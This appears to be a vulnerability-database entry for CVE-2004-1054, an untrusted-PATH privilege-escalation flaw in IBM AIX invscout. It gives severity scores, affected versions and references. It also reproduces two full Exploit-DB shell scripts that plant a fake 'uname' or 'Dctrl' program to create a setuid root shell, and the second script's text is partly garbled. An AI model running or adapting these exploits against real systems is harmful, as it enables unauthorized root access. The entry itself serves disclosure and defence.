CVE-2004-1054
published 2005-01-10CVE-2004-1054: Untrusted execution path vulnerability in invscout in IBM AIX 5.1.0, 5.2.0, and 5.3.0 allows local users to gain privileges by modifying the PATH environment…
PriorityP424high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
0.95%
57.7th percentile
Untrusted execution path vulnerability in invscout in IBM AIX 5.1.0, 5.2.0, and 5.3.0 allows local users to gain privileges by modifying the PATH environment variable to point to a malicious "uname" program, which is executed from lsvpd after lsvpd has been invoked by invscout.
Affected
7 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
AIX 5.3.0 - 'invscout' Local Command Execution
exploitdb·2005-03-25
CVE-2004-1054 AIX 5.3.0 - 'invscout' Local Command Execution
AIX 5.3.0 - 'invscout' Local Command Execution
---
#!/usr/bin/sh
# r00t exploit written for the invscout bug reported by Idefense labs
# http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities
# coded by ri0t exploitation is trivial but automated with this script
# www.ri0tnet.net
#
# usage ./getr00t.sh :)
# exploitation gives euid(root) from here getting guid (root) is as simple as an
# /etc/passwd edit
cd /tmp
echo '/usr/bin/cp /usr/bin/ksh ./' > uname
echo '/usr/bin/chown root:system ./ksh' >> uname
echo '/usr/bin/chmod 777 ./ksh' >> uname
echo '/usr/bin/chmod +s ./ksh' >> uname
/usr/bin/chmod 777 uname
PATH=./
export PATH
/usr/sbin/invscout
PATH="/usr/bin:/usr/sbin:/usr/local/bin:/bin:./"
export PATH
exec /tmp/ksh
# milw0rm.com [2005-03-25]
Exploit-DB
AIX 4.3/5.1 < 5.3 - 'lsmcode' Execution Privilege Escalation
exploitdb·2004-12-21
CVE-2004-1054 AIX 4.3/5.1 < 5.3 - 'lsmcode' Execution Privilege Escalation
AIX 4.3/5.1 /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh
# milw0rm.com [2004-12-21]
No writeups or analysis indexed.
http://www-1.ibm.com/support/search.wss?rs=0&q=IY64820&apar=onlyhttp://www-1.ibm.com/support/search.wss?rs=0&q=IY64852&apar=onlyhttp://www-1.ibm.com/support/search.wss?rs=0&q=IY64976&apar=onlyhttp://www.idefense.com/application/poi/display?id=171&type=vulnerabilitieshttps://exchange.xforce.ibmcloud.com/vulnerabilities/18619http://www-1.ibm.com/support/search.wss?rs=0&q=IY64820&apar=onlyhttp://www-1.ibm.com/support/search.wss?rs=0&q=IY64852&apar=onlyhttp://www-1.ibm.com/support/search.wss?rs=0&q=IY64976&apar=onlyhttp://www.idefense.com/application/poi/display?id=171&type=vulnerabilitieshttps://exchange.xforce.ibmcloud.com/vulnerabilities/18619
2005-01-10
Published